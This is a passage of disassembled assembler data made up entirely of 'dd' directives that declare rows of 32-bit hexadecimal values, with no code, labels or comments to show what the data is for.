		dd 9341D4Eh, 0F61F2ECFh, 3109EFEDh, 93E2DA59h, 3E4553B6h
		dd 4B213F94h, 7CE1A918h, 3F43492Dh, 874BC947h, 79278558h
		dd 8CE499Eh, 0F44C92D7h, 0A70BBE32h, 736815E0h,	0FDB3C474h
		dd 182B4319h, 0F50C3156h, 0F735FC64h, 0CE3F7EC7h, 0D535B0Dh
		dd 8A0B5205h, 0F309A88Fh, 132E9643h, 889D1F0h, 7DD9FB84h
		dd 0C5177996h, 0E12CF3A5h, 2026816Bh, 0A51374CEh, 53EEC628h
		dd 0C38B8993h, 974314Fh, 52BB8850h, 28064DF0h, 9D92FA56h
		dd 55F1C6EAh, 0F9885285h, 9C068191h, 0FE375FE1h, 9B4724A0h
		dd 4FC210DBh, 57B7D5E2h, 34FD60BFh, 0DA28F22Eh,	1E4920F9h
		dd 41F71C4h, 4C8DD0C6h,	73C8A1F3h, 0A1F90A90h, 0E30671F1h
		dd 86F2BCEBh, 64CFEFC2h, 0D07E16CEh, 8CCB0E50h,	6001382Ch
		dd 382362BBh, 424854EBh, 726BF255h, 0F1C8EC67h,	0F18F66CDh
		dd 0FE091263h, 0BB113B5Fh, 94A06F75h, 0D14250BEh, 0DB6DB473h
		dd 5E0DEF76h, 0B149C806h, 0DB39ADE0h, 9ABB1E80h, 0DE596759h
		dd 93B1CB61h, 552A243Ch, 1BFC4A4Ah, 0F124812h, 10DB049Ah
		dd 0B010CE61h, 0C2EF572Eh, 75FAA0FEh, 0CC32291Eh, 50B6CB4h
		dd 1FF4E225h, 9AB0FE89h, 9E5C491Ah, 0A2173B76h,	0D146BEB8h
		dd 0CA0F50A8h, 9682513h, 7BB3CD40h, 58D62F84h, 0BBED32F0h
		dd 0C5E786Bh, 9DA1D64Ch, 7DAA5AE2h, 5C764B9Dh, 912986h
		dd 0B7DDC095h, 0CEBDFD4Ah, 3CB52734h, 9A02C2Bh,	17E60F76h
		dd 3C9770D9h, 20546EE0h, 0E699B995h, 2E30DE4Bh,	75F9388Bh
		dd 0A64575E0h, 3B11BFD3h, 5AE9522Bh, 0C1211BF0h, 20AE04A4h
		dd 0E470412Bh, 0E7366626h, 51F62C9Dh, 9FF9CBC7h, 0A1CE0573h
		dd 2D490514h, 80BEFD4Fh, 0D0F68699h, 10BA68F7h,	5C952D1Bh
		dd 47B5CCE7h, 0D54D8DBBh, 49C9844h, 79259956h, 1ED5B4AEh
		dd 60F941EDh, 1F5841B1h, 0B180659Dh, 0D4A85163h, 0F46BF7A8h
		dd 7DFDFFAFh, 0F10DFBA1h, 0CD63CA97h, 0F4477B06h, 0E840AE0Bh
		dd 7BF8BF78h, 0BBC79887h, 86A1D090h, 36506E89h,	26D488D3h
		dd 0BC62E944h, 3DE84465h, 27288FD4h, 2CDEF82Eh,	4F947ED6h
		dd 0DDB0A2C0h, 5F5C0E3Ch, 850B41E6h, 352E3F4Eh,	117209ADh
		dd 0E7C9A086h, 0E69009A6h, 97ADB50Bh, 0B150C5C7h, 7ED07959h
		dd 18A8499Fh, 84ABC750h, 9A3E07E1h, 0CCA1E92Dh,	93009ED2h
		dd 0A32DB376h, 1AE65D79h, 0A48E043Eh, 0A18AF556h, 57D750A5h
		dd 0E380C4C3h, 4A64173Dh, 0E7C8168Ch, 9DFDECDCh, 28E6ABFAh
		dd 0D62D995Ah, 0D4FC287Eh, 0CFB254CFh, 9EB74424h, 69F47172h
		dd 0D6F72C31h, 0D21FCCCEh, 8A84F9BDh, 10208E1Ah, 8B362BB2h
		dd 8B4C972Ah, 6E382CBCh, 92D65042h, 612B4E7Bh, 76D49A64h
		dd 0E9F9F220h, 0BD52AE1h, 29784DE0h, 115F879Ch,	39EA76AFh
		dd 18A9AED1h, 0EC499308h, 241534CBh, 82BC9F01h,	0C9E771C1h
		dd 0E4519FDDh, 7480391h, 5A795B25h, 6DB5D552h, 179C4417h
		dd 56C3923Eh, 99DE6423h, 45D05B9Dh, 0C1B4702Dh,	528E4077h
		dd 0E0F8AF44h, 844A14A5h, 0BC6582EEh, 4760A40Fh, 0D0BE785Bh
		dd 1D75ED44h, 0F0B4127Bh, 8586CD1Ah, 54081146h,	69E5F823h
		dd 0DFBB1588h, 94AB6100h, 0DD86EED1h, 0A2DA694Bh, 0A8EE232Dh
		dd 0D47E18E0h, 3F3F9E72h, 75A52941h, 0CA18FBB4h, 0BCB265CCh
		dd 0D369CD27h, 9D66D053h, 4778F25h, 0E26A0ECBh,	7824C154h
		dd 4D7CC116h, 0A6A4694Dh, 0A6090C3Eh, 0DB23D753h, 900C9FC2h
		dd 6551B880h, 22433CC5h, 0C0D1F61Ah, 0FB7F8C51h, 0B00D47EAh
		dd 7FD6DDD9h, 9F95C7AAh, 0C94126ACh, 0C9C76B0Ch, 0CE5C5F4Ah
		dd 8B53DD59h, 9C6D026Bh, 45D2979Bh, 7152C253h, 3E027E61h
		dd 35A7B376h, 1366CA4Dh, 4EA81F45h, 148905EAh, 2C31BB4Bh
		dd 4F1BBBCBh, 0B9578CB5h, 8A33B941h, 5DE374E7h,	71760B1Bh
		dd 0FA16C851h, 58DA29C3h, 0C4B4A4Ah, 36B3ADB8h,	99EF3131h
		dd 8AD109A2h, 0E18B9772h, 86A20CEBh, 3AEA083Fh,	0B0A71DA0h
		dd 3CFC2DCDh, 977A942Dh, 6F0DFC2Ah, 0FACFAA33h,	92DBD471h
		dd 191535C2h, 2D640D04h, 609CCD9Dh, 0FCD460DAh,	9D69FDB6h
		dd 6265B82Bh, 0E636173Dh, 0AEDF9E45h, 5121A32Bh, 52F8F7B1h
		dd 6864A34Ch, 9A544ECDh, 7EAB255Bh, 7E720DCCh, 0F813FC3Eh
		dd 74C2BF11h, 3FCFDE28h, 27DECDAAh, 99EF1F0Eh, 5AD9D0D2h
		dd 17F70832h, 94B8BDD0h, 6D1CFD7Bh, 32AA781Dh, 29DA0C2Dh
		dd 261CC283h, 0F4DDD906h, 0A47ABC0Fh, 19C434A8h, 26627209h
		dd 4133FA3Ch, 13ACF883h, 8A5B8E69h, 3CACB1B1h, 0DBF933FEh
		dd 14F3673Ah, 8B6132B4h, 52DADD1Bh, 0B240357Ah,	3FB01622h
		dd 0E4B37FF2h, 1EB8571Fh, 9839BB7h, 0B33092BAh,	89B67462h
		dd 0C6ACD3DBh, 0B31F707Ch, 30EF56A4h, 7016B5DAh, 0E2B16DFFh
		dd 6DDE4B03h, 9414FD67h, 99ADF24Bh, 6C132A97h, 0E78994CFh
		dd 2C3AB241h, 781FEA55h
		dd 6FD7E3Dh, 0F9F91F94h, 28F0B8D7h, 0C5247B92h,	0F276EBF0h
		dd 8DEBC909h, 79CBBEB7h, 0B2B24BE9h, 3EE1CA87h,	0AB181592h
		dd 0AED6AC5Bh, 1DD1B4F9h, 0C4A29075h, 20576786h, 308BBDCEh
		dd 1E711165h, 3323F6A2h, 19297367h, 7B3677F7h, 12F5BAC8h
		dd 5D1D4480h, 894C0C88h, 7B92750Ch, 0A3E4B834h,	0EF92998Ah
		dd 0B66FEFEAh, 33BC3654h, 3B042A00h, 0A528F858h, 0EE21DA6Dh
		dd 3C3062ACh, 8100BC2Bh, 9874074Eh, 4E4A945Bh, 269127F7h
		dd 7CFF30AFh, 0DB6728A9h, 0D14B2075h, 4889097Eh, 1DCF735Ah
		dd 0DC8F27F9h, 0B8CE5402h, 0FE5B39AAh, 0BDCEC6A5h, 73646687h
		dd 3C329163h, 0AF9F6521h, 943B4B57h, 66E2A80Ah,	8D3D4623h
		dd 33F41894h, 1C133129h, 0A24A8084h, 0DFF8CE01h, 44F906D8h
		dd 5500D174h, 39C607BDh, 0E1133484h, 0E2400A81h, 0CBF47C2Fh
		dd 0CD64567Dh, 8E12D76Eh, 6E19536Bh, 0E4F7B039h, 8E6262D5h
		dd 7151CE1Fh, 0EE4B27C8h, 0B68CA1A0h, 8B3C3896h, 0D6E5F414h
		dd 0ABD91AB8h, 7C17ED1Eh, 94D26411h, 3534A47Ah,	8EDAAB97h
		dd 11F2571h, 0B38E2E79h, 15D67562h, 0F611C1CEh,	8D7A4579h
		dd 0B46686F5h, 33D30176h, 0FFE29560h, 0EF09CE33h, 4A61B936h
		dd 5A036BF3h, 3BDBA23h,	77A43065h, 0F51E401Bh, 1CC2C70Bh
		dd 90FA7E59h, 0A68EF11Eh, 449DEBEh, 0E9683A81h,	51A03725h
		dd 0D6223E27h, 0CE2CAEE5h, 0A4ACACDh, 1F447902h, 5368A851h
		dd 0FC3C2BC4h, 0BB9EDC80h, 9E5D0191h, 168E2069h, 490C071Bh
		dd 0A286AEB9h, 7E797CE3h, 3B44DA98h, 3DF4DF67h,	0FC9C96D4h
		dd 0DCB0FCCFh, 1663D83Fh, 0AD84D09Ch, 33E011F6h, 0CD2117C4h
		dd 0CBA15804h, 1E7D87F9h, 6116F3B6h, 5E9DB89Ch,	8DB847C9h
		dd 0EB2AE7E5h, 0A88AB45Ah, 0B35A9D19h, 11983CF1h, 4D073CE9h
		dd 6CB92CB2h, 7C6C0924h, 8DC083CAh, 0A1426FD3h,	9E9B99F2h
		dd 19DEEA78h, 9749FFB4h, 23994448h, 2C9889BBh, 0EC197E57h
		dd 2BE7C586h, 43D98981h, 8E2EC4F8h, 1A3E68A8h, 0E31FAAh
		dd 0D03867B8h, 69FB48CCh, 2FA497F5h, 3E4EF12Ah,	476B4C6h
		dd 4DBD5B4Bh, 0ED4CCE28h, 1CAAA337h, 8FE003A2h,	93AA1B46h
		dd 3D672B37h, 662033EBh, 3FC7D678h, 8FEBD54Dh, 8A92F4B3h
		dd 6DBBE1D1h, 0A8425206h, 6D60446Dh, 30C34837h,	59A3403Ch
		dd 4AE57964h, 50D879E2h, 587FB68Ah, 3CECC020h, 2099F10Ah
		dd 61AA014Bh, 0B67D9BCEh, 497FEA8Eh, 1B16C1B2h,	0B2DFFEFCh
		dd 298619ECh, 271C936Bh, 3D6CB48Eh, 0A5FC565Bh,	331696EBh
		dd 0CAFC8733h, 0FC1ABCB3h, 0E8F50645h, 779E3282h, 0BDFBF00Ah
		dd 0AFF3AE1Dh, 0EBCC5801h, 5D011B52h, 0A372A1AFh, 40D20E4Dh
		dd 9A7F6EA5h, 0C64F4568h, 0C94973E8h, 647F0D85h, 0DCCADA49h
		dd 0D76CCB48h, 0B8AC90D9h, 6F7E72C2h, 0D0625426h, 93BA4080h
		dd 0F86DA23h, 3735B48Ch, 0F19C1B6Eh, 7F406571h,	0F9A9BC9Dh
		dd 2C203A45h, 1E7E5E47h, 67663CA7h, 0F143F6DEh,	0E69FA1E4h
		dd 53A91E66h, 0A3EB1088h, 9740FE4Bh, 2DD4AE2h, 87DCD486h
		dd 0CEE236FEh, 0F993317Ah, 82441BA9h, 0D4BF44BCh, 0EB04507h
		dd 7ED2A3F7h, 4325DCFEh, 0E3A3AF6Ah, 0DD6F4D3h,	7A0C405h
		dd 0A7453D90h, 27638000h, 360F1053h, 0B2FAC45Bh, 5F3A7278h
		dd 19456BE5h, 334FEA20h, 86E68B2Eh, 0F26857h, 64819AD3h
		dd 0C296A879h, 0CB35CD79h, 1744C3E9h, 55667F18h, 0A3161A2Fh
		dd 94ED9A3Dh, 65FD75E9h, 0AFEFE689h, 4C148547h,	0D9CB0F2Eh
		dd 0F0A91CE0h, 38489BDCh, 2644AE0Ch, 400BF72Bh,	88A5B123h
		dd 0CCED48D2h, 0AC51DCEEh, 5541052Dh, 0FDFC5F1Bh, 0BA934AE4h
		dd 32F4B8FAh, 877DF280h, 7FE8D327h, 0F07F5119h,	267C65FFh
		dd 72967BEh, 727EF7CAh,	0BB5DE9E8h, 83D31951h, 761265DDh
		dd 0D5B4D14h, 6FA73859h, 69BAA070h, 14A618DDh, 618BAA82h
		dd 1DF529EBh, 62F00267h, 0DB1296AEh, 789777D6h,	3C763185h
		dd 685065F2h, 8FB5A9E6h, 95AF0057h, 0C452311h, 0F259A95Ch
		dd 7C1DCA4Bh, 5C7BC239h, 42800FBDh, 9F368ACBh, 8224A588h
		dd 0FD3AA88Fh, 3D3BCC72h, 5233A45h, 0C82E339h, 0A193565Dh
		dd 0B4E150DCh, 34B3D245h, 41401552h, 3FA620A6h,	0EF3F2398h
		dd 0EDA1B565h, 0C6CA0F8Fh, 8B5E281Ch, 5ABB962Dh, 0B8A4B7D8h
		dd 1516441Ch, 3F616CC5h, 0A676EAE9h, 0CA001C0Bh, 75A3F4BBh
		dd 990870DCh, 0ED2927A6h, 0C4F7A725h, 4C97C574h, 9EC2A78Fh
		dd 0DE7862B1h, 77A37E3Fh, 0C47EBE66h, 0CE77A2A6h, 1A18C1B9h
		dd 61906295h, 306586A5h, 68850ECAh, 19ABD007h, 6E6E9E50h
		dd 854A8E42h, 72168830h, 91D06C42h, 8AB848B3h, 0BA1263DEh
		dd 0C860B216h, 0C451A7B8h, 0A81FB3A1h, 9E3AEF48h, 0DAE4C2EDh
		dd 33697991h, 4746CCB4h, 41EE4930h, 8DD3724Dh, 0E18AB44Ch
		dd 51455C86h, 0D584973Fh, 513A76FBh, 526E47B9h,	0D39EF065h
		dd 0BFC85239h, 63E082A7h, 76D991FBh, 0B210745Dh, 86C2A40Eh
		dd 0CD5431A7h, 8A4415C5h, 6304DA7Ch, 0D68282C6h, 6504B805h
		dd 1FC25C37h, 3A9B09E3h, 8B278164h, 0BC49DA52h,	3D47DC7Ah
		dd 0E421F75Ch, 8A2E2BE6h, 0CC0DBE09h, 792CF23Ch, 81B5FF6Bh
		dd 2B59F623h, 4581AE24h, 0F08BC556h, 0A2B7D55Ah, 0AE95D241h
		dd 0D8C71759h, 40BE20CDh, 0D7C2D0C8h, 0DB3DB6EAh, 244BFEFAh
		dd 0F0F3A987h, 0FBB5C86Dh, 649C19B0h, 9B1716E3h, 0AB966844h
		dd 0A379B070h, 0BFDEE344h, 9617518Eh, 354B1CAh,	0C80C89C9h
		dd 16E2E787h, 0D98676A5h, 903EEECCh, 3A926B0Fh,	0D358BF58h
		dd 0B7308E22h, 2B5EA097h, 354D7F56h, 84206DDDh,	7DF94976h
		dd 8CB673D6h, 660160B8h, 0BD0B3030h, 2E6A6B51h,	503EA1DCh
		dd 3E854EDEh, 0D6AA260Eh, 0E0EEC121h, 84F8CEABh, 0AA995F3Dh
		dd 2AA720D1h, 0AC547E7Fh, 0A4BA06A4h, 1B5AF378h, 0CBCBA922h
		dd 0FB149888h, 0D3516FCh, 990BB7DBh, 68CD8AC9h,	8D81DFA5h
		dd 0DBE62231h, 0A68D6739h, 0B81929E9h, 7E2F9D5Dh, 22E189F6h
		dd 0EF7EC46Ch, 57249D97h, 964D195h, 0E89534E3h,	0B2A82C40h
		dd 0BE8D8B3Bh, 0CBE9B5FEh, 60685C38h, 487BA666h, 1FA547Ch
		dd 0C7623991h, 0BD645C7h, 90590E68h, 0D1D4226Ah, 41886BB2h
		dd 0F823024h, 0DEE87482h, 0EB063652h, 90332460h, 0DC843341h
		dd 3D80E65Fh, 75CBE4A6h, 0D81D1C18h, 22B15C07h,	36C78496h
		dd 32B4336Fh, 563759DEh, 2E0E4E08h, 40404E36h, 8FBC2824h
		dd 0CEC0D0C8h, 7C7FA7EAh, 55BA3145h, 250C5961h,	5FC1FB86h
		dd 53A5F44Bh, 1137517Ah, 0CCA68F94h, 2F611C96h,	9832409h
		dd 0D9AF73DEh, 51397D3Ah, 79A6D5AAh, 0B9B7135Dh, 0F8D0A3DDh
		dd 97C96BD9h, 6F13A087h, 0CD7BDEE9h, 0ABF8CB40h, 0F0E041EEh
		dd 0DFF3E0FAh, 13A0E7BEh, 5874C2A9h, 70222B00h,	53BE9E25h
		dd 5A523539h, 0AACFAB4Dh, 0EE198B79h, 24D27A3Fh, 1E8C953Eh
		dd 0C9B1E474h, 2212F504h, 6EF1AFABh, 0F52EFCB5h, 91465685h
		dd 8727E611h, 592BCD31h, 954511B8h, 8DDAE9C6h, 0D4F6B9BEh
		dd 7D1F8B96h, 54D9629Fh, 0AAFC2CE6h, 6426BB61h,	58FE0A76h
		dd 3DF07A47h, 0CCCCDDF2h, 9CC4C284h, 27A62F36h,	0F262A984h
		dd 0F5B66940h, 275F6DBFh, 0DB7CFC71h, 0CB477FC0h, 9CF42B05h
		dd 7F928E82h, 0C16CCEE4h, 0F0AE156h, 4ABA7545h,	0E47042D1h
		dd 94A27763h, 8765FE33h, 0BA708D5Fh, 7092908Ch,	248DF70h
		dd 0FB6562EFh, 5B11763Bh, 0EB7B3E0Ah, 552F1C60h, 36616B6Dh
		dd 0F60D2D2Fh, 0C0A70562h
		dd 0FA9D88F2h, 87870202h, 0A4E9E755h, 1B6EA981h, 0AAAD1806h
		dd 19F7A1E0h, 0C760E352h, 655D2D69h, 7D55C812h,	0D0A9B805h
		dd 0D855E1BEh, 451725Fh, 0D8CA80AAh, 0CF855986h, 0FC83D1B6h
		dd 9247715Dh, 0E9981C29h, 1EED6642h, 9520ECE1h,	8C2EA276h
		dd 7FDAA96Dh, 62A4246Ch, 40CF5B0h, 0CB10DE8h, 23E31B18h
		dd 0D3F79E87h, 265D61B0h, 9A278840h, 3EC60A43h,	67977B3Bh
		dd 8411E2A8h, 4E273EE7h, 61C0521Dh, 0D12360AAh,	0F0733C75h
		dd 91858F67h, 0A4A30D3Bh, 65B492EAh, 0E06868E4h, 85618457h
		dd 16550F85h, 0A40489CCh, 1FE3060Eh, 30C21E67h,	0A096AB18h
		dd 36F9A48Eh, 52AC9054h, 43ACC39Dh, 6EBD4D37h, 0C882CF8Fh
		dd 3C3A69Bh, 47673473h,	226EDCDEh, 0E62511DDh, 9F596CB8h
		dd 79D169D7h, 843F3198h, 3670A00Ah, 2251D03h, 94E4AD7Ah
		dd 0D681C995h, 0AAB6DBD4h, 9AA5752Eh, 32C29E8Ah, 0C52FC1F6h
		dd 0DE82457Eh, 7BE0CFC7h, 910FD1Bh, 290DEB77h, 36BC471Bh
		dd 28DF4DEDh, 930027E6h, 69B53F3Dh, 0E1519B15h,	91A3FA90h
		dd 0D3FD7835h, 79F3F008h, 60308885h, 27AC0F0Ch,	5CDCC2EEh
		dd 0D613FC44h, 5B97AD44h, 0D94E6652h, 704EFB5Dh, 97CCB52Fh
		dd 0E637BE73h, 4500F738h, 0E9D41692h, 169D6C91h, 86B9959Fh
		dd 0ECBE5B3Fh, 4A735B3Eh, 82200DC2h, 89E8888Ch,	91E79129h
		dd 7E010EBFh, 7DD33721h, 7D585F6Ah, 78C08DBFh, 22DDA8CCh
		dd 0B22ACA8Fh, 9DD6677Eh, 2BDD992Eh, 82ED72B7h,	7CA73BEBh
		dd 0D95AA9B0h, 0D39EA64Fh, 0AFE8BD6Fh, 0AF116582h, 0E48E5B7Dh
		dd 92B985EBh, 62F44569h, 0D86596E8h, 102BA4D9h,	0BDAC6138h
		dd 89FADED4h, 60E02289h, 3E05DCB1h, 6AE7E59Ah, 0B335578Bh
		dd 308688D4h, 0E57098A0h, 2E8558CCh, 0B1FCA9Ch,	2EEE425Eh
		dd 0B1982DCCh, 0B079DB21h, 5C6D5FC8h, 0B33283C9h, 278D3BD4h
		dd 92176EBDh, 0A26ECA67h, 0BD392648h, 41C3B515h, 33A1CCF0h
		dd 0C9D8900Eh, 4180BAC5h, 0EC34DF57h, 0EFC624CAh, 0F52F8D62h
		dd 0E15A7906h, 6F523FBCh, 0E530C45Ch, 0E0797CE4h, 0FDB3AAF7h
		dd 94A445C2h, 0A0890DA9h, 35C54820h, 62FF507Dh,	3911C22Bh
		dd 96925196h, 2A4427B7h, 0DE8DB3AAh, 0FC0E73B2h, 0DCC5BD33h
		dd 0B0CCF4A7h, 0F9E3DBC6h, 2216A8BCh, 0CD5C5E04h, 7DAE02C6h
		dd 5D6DBCB5h, 0CD4D0072h, 54456D5h, 92D4523Ah, 2118EBEDh
		dd 61FDAA1Dh, 0A0E8E249h, 1B338768h, 0CD000AD9h, 7203CB20h
		dd 0D7F44E7h, 0B003AD64h, 6ADEE4Fh, 0AE0DB00Eh,	3DC21E22h
		dd 0B5E8E8C3h, 0FDEB1B87h, 81A4AC12h, 0A2F83757h, 521F2F13h
		dd 0D6BF81Dh, 2618F5h, 129F66E1h, 8DB2D43Ch, 73901928h
		dd 0F64643E1h, 48388F8Fh, 41FF4F5Ah, 0BADF6ADh,	0F2A09C27h
		dd 0B76DBC3Ah, 0B083B9A9h, 1042FECCh, 0C6EDE83Dh, 307ACB3Dh
		dd 8E0F3CF8h, 515B4BD2h, 0E2E10FBDh, 637C67FAh,	37715A9h
		dd 760A386Bh, 12013C0Bh, 4ABD90A2h, 0D236605Fh,	7C144F41h
		dd 0E30BDC00h, 480B394Dh, 4DE5889Dh, 52EF22F1h,	861BC6D3h
		dd 0C2100DCFh, 670A6F65h, 0C6FA57B0h, 0C96C7DCEh, 0A769505Ah
		dd 981AA95Ch, 69A0FC71h, 0AB6CE0B9h, 7B280E76h,	0AD4E439Ch
		dd 5BB02416h, 39630502h, 95A6ABF2h, 0AEC681B6h,	0D22B822Bh
		dd 0F04EB49Eh, 3D9B53B3h, 47048E6Fh, 0C9F9147Ah, 96776330h
		dd 1F193E7Ch, 56591E53h, 0DFB946ABh, 0BBED1D1h,	732252FBh
		dd 43C95CE5h, 7963300h,	18315F58h, 14727160h, 49F9E452h
		dd 0FCEA6BBCh, 96929AAh, 68B82FC8h, 0B715EDFEh,	9C4110C6h
		dd 512FD5EDh, 51DFCEA3h, 3E17DBBh, 9FCC53Bh, 6CE4321Ah
		dd 510A38FEh, 7185ACB0h, 79D3E0FFh, 0E37DF99Ah,	3B83F246h
		dd 0AE1B8CE5h, 83C62675h, 4617E077h, 98BC95D8h,	5214D1C5h
		dd 24320073h, 0D5650650h, 7A6F4D15h, 48557ADEh,	7BF5860Bh
		dd 0D2E0EB94h, 9CC1300Dh, 0C339DA68h, 0BC497C6Dh, 0F96C38CCh
		dd 3C935CFEh, 0E6E5D61Ah, 8A1F9E74h, 0E3BC2990h, 0A4633821h
		dd 0DD3D89D2h, 92836AA6h, 5BB99785h, 11DB3076h,	93994ACCh
		dd 0D7C16064h, 0E491948Fh, 82C6823Eh, 6E1DC250h, 5A5B7994h
		dd 91D9F992h, 2065E2FDh, 169BC5ACh, 85F9A987h, 39A6C1ABh
		dd 0CCE508D2h, 46355CACh, 8642B2BCh, 6E267B08h,	4FD2382Fh
		dd 0B44D7624h, 3A6214F4h, 9E692FCh, 10D1666Eh, 416D63CAh
		dd 145FC7D1h, 7A48281Bh, 12E7C818h, 4F98EEE2h, 98485AE6h
		dd 4580A4ECh, 0B7434E51h, 359FF95h, 0AFD38779h,	0B953F15h
		dd 0E460CC9Ah, 8C25B420h, 52B356Bh, 1462E24Eh, 0C772849Dh
		dd 654299EFh, 46BA878Ch, 20FE4D0Ch, 41DECCF0h, 96CB91F4h
		dd 0CE27CCB7h, 4E8EA68Eh, 0BE73F1D4h, 20B3504Bh, 0ABA64955h
		dd 0DB5E2BC2h, 0A4E67D0Dh, 0D9CEE4E7h, 5BD7C476h, 21C7DC79h
		dd 9541E25Ah, 7F5861A4h, 0AE4301ABh, 0F5823517h, 2438C0FCh
		dd 0FE11B33Bh, 0E3DDF2B7h, 0F4835D1Fh, 6AAFE8Dh, 4219E84Ch
		dd 0D471E446h, 1861123h, 655A0B24h, 55D1AF57h, 0B84E2666h
		dd 36F715C1h, 421429F9h, 504A9325h, 3B17CC45h, 799FBD51h
		dd 5075DC34h, 0E214F2C6h, 988536Ch, 70D43B17h, 0F0EB72CCh
		dd 788FD82Eh, 75695281h, 8DFC8862h, 19D57777h, 54BD51F5h
		dd 62D5B60Bh, 6864E773h, 20FEC905h, 3AEBF6ACh, 0D6BECB54h
		dd 7B7E0A96h, 44E851F6h, 7BD7084Ah, 4A1256F8h, 0D969633Ch
		dd 0AE823299h, 9C132090h, 475E924Dh, 8CEB3E05h,	7A9C8DE3h
		dd 0AD1F68E1h, 9E6F169Dh, 43B4F626h, 78F80FEAh,	0FE220D23h
		dd 8A8CA5D3h, 5FA2A5F5h, 92DEF27Bh, 960AA6DBh, 0ECE62DB0h
		dd 1FA2EAE5h, 0AA166E95h, 44F21514h, 5E1B659Ch,	63F73B91h
		dd 0DC44CB1Dh, 0CE7D84CEh, 8991C734h, 39DA660Ah, 2EF4E6E5h
		dd 161F7912h, 618AEC65h, 0D5D4ACD3h, 95AEEBDDh,	7B6F90C6h
		dd 8E0C2AD6h, 541F0B04h, 4E9D1Eh, 397355EDh, 0AF76B374h
		dd 3F0413BBh, 4CCFA216h, 775CA815h, 5AB91549h, 567D10B1h
		dd 76A37EC0h, 0C32F3E63h, 0FBDE83BBh, 9AE41366h, 0D95907A1h
		dd 0E1063B59h, 22759038h, 0D6D1F2C1h, 0B8D2563Ah, 0C45F3C4Ah
		dd 0A3D03ECEh, 0A82C4697h, 5AB401BDh, 0E6C9916Bh, 0AE02022Bh
		dd 37E05677h, 86519632h, 80CA1563h, 513ADCD4h, 0F4AF0999h
		dd 0F5F65A67h, 0BDEA7B1h, 653EDF4Bh, 0C3978C34h, 11A64966h
		dd 5384220Ch, 0A6A5C7Eh, 898E42ADh, 38EC6843h, 7E7CFEDCh
		dd 2D36BC0Ah, 12B2534Bh, 1E0F173Fh, 9DE93FB5h, 555F1D06h
		dd 0D1A6AE43h, 44AC51Ah, 0E22A5277h, 565A5F22h,	544E211h
		dd 6848A406h, 361F0C43h, 41809630h, 9CFAF5CFh, 8D057151h
		dd 43D082E0h, 94D381FEh, 7E2984C5h, 0F8240CD0h,	35F29E49h
		dd 996CC36Ch, 993BF89Fh, 874F415Eh, 51FB9809h, 5022ED4h
		dd 31D92AE4h, 0EF9854E1h, 2EBBEFC5h, 66D3EDB8h,	6C939B4Ch
		dd 0F664657Fh, 62B2FF3Ah, 0DFBD73DEh, 0ADEFDC68h, 4A8EE65Eh
		dd 351EC05Dh, 2E43263Bh, 65DA8F33h, 4C59DCD6h, 0D66D67A3h
		dd 55C6BB5Fh, 0D549F323h, 9775E59Eh, 0DF85E70h,	815F2749h
		dd 7CFDBA92h, 1E19F0CDh, 7364EA13h, 700CB080h, 0B2D49F13h
		dd 0F24C2E43h, 1AACA929h, 3B1170DFh, 6B5E81E4h,	0F8C397EFh
		dd 2019FBAh, 8DF29C84h,	0A07D1373h, 0BD39228Dh,	93A068E4h
		dd 9C0DD602h, 7080EB1Bh, 5929ED4Ah, 0BC9C5625h,	5D6C9653h
		dd 0DAD3E499h, 25F4F4BDh, 71C203F3h, 3ED0E871h,	6D2B651Ah
		dd 8B06F09Ah, 0A03E7D44h
		dd 0FCE9252h, 5D3C5BFAh, 0EF615084h, 281C4F87h,	0BB6D135Ch
		dd 5357B1B5h, 0A7E29032h, 2F9A7ED1h, 76D5ECB6h,	5FD01858h
		dd 6922321Fh, 11C0986h,	25C6589h, 4C7345F8h, 2BEE609Ah
		dd 31F9EBA3h, 0A42D2FB2h, 45FCCFAAh, 0B999950Eh, 0EAB27745h
		dd 20C9ABF1h, 56557EF9h, 0CF2D7971h, 0E6A5A7D6h, 0F0B09823h
		dd 36BE7185h, 55F96AFDh, 2E99257Ah, 0DA2AFA85h,	0C3D64E70h
		dd 80549658h, 736392BCh, 0B7B4A779h, 3B3B4188h,	36C42D9Dh
		dd 1B73EBEDh, 297C971Dh, 72E89E8Dh, 1D660DAEh, 0D5526B88h
		dd 0E2FF77A1h, 3FC6D5ECh, 7357FF25h, 0F5DE8106h, 0F45E7ECBh
		dd 7C604576h, 0FBE1CBDAh, 91CCB5C9h, 0B82D9C07h, 238CC2A5h
		dd 4D5DDDBDh, 3E864D76h, 35AAA563h, 716E7B0h, 77D00EE0h
		dd 5D8749C7h, 30A56F19h, 8EA81A74h, 713E469Dh, 271D1DC7h
		dd 36FD4846h, 428DD0BEh, 78ED81DBh, 557696A9h, 694B234Bh
		dd 0B94D9BE7h, 6EA1DE74h, 0B37569D5h, 336C482Ch, 18244Ah
		dd 702EE758h, 3C620C44h, 0DB423BF8h, 25AB45B1h,	34336DB8h
		dd 18793381h, 0EC677E25h, 0ABF85EDCh, 907C8CD3h, 0C1DAF87Ch
		dd 23F296E9h, 9D862745h, 4DDFE605h, 3092876Ch, 792B5E28h
		dd 225B9A4h, 0ADA1F161h, 672E16A0h, 3DA236E9h, 0B81BCA74h
		dd 1E6AC1F6h, 1580D7BAh, 7A1E0501h, 0AE6FF587h,	73FC9D95h
		dd 5438AE68h, 0B58CC205h, 233BDC57h, 2E17A219h,	0F963BF63h
		dd 2B7D4F24h, 42A761DCh, 0A04CDF0Fh, 0EC700B8Bh, 302AF9B8h
		dd 3FAC7BC0h, 0CB0FCD43h, 0B4A9B271h, 4C69F5B6h, 56525B1Fh
		dd 0E63A71EFh, 0DE947A9Ch, 5C236393h, 0D1E3131Dh, 7A8056EEh
		dd 2AF9C153h, 0D390456Fh, 0CD076A4Eh, 0E54F3D44h, 6F584432h
		dd 7E78EADCh, 805EF8DBh, 0E7F72E9h, 952CD327h, 0F3A6D7E7h
		dd 0A6E7A3BCh, 0E63D1C92h, 0DB208271h, 370B713Ah, 0B808BA3Fh
		dd 0E6837CB2h, 2C6B5A0Ah, 0B23AB8C5h, 6C37302Ch, 4C294CD7h
		dd 0F4190375h, 11883390h, 0FA7E63A3h, 0A70B03A1h, 6E69E7ACh
		dd 5930BE7Eh, 0A7279690h, 53633B2h, 13F8409Eh, 455A8FD9h
		dd 0F4E75AB0h, 440C8942h, 0EA24E69Bh, 326AC269h, 0C8F5BB33h
		dd 67776E2Dh, 0DAD6C3C4h, 9BC86B36h, 402825C7h,	487EA4E5h
		dd 8EAEE924h, 0AE15567Ch, 0AD31055Ah, 93DA333Bh, 0A4050A19h
		dd 0E435A211h, 0D8CA86F9h, 0D0DFC9B5h, 0BB0253C3h, 558C35EFh
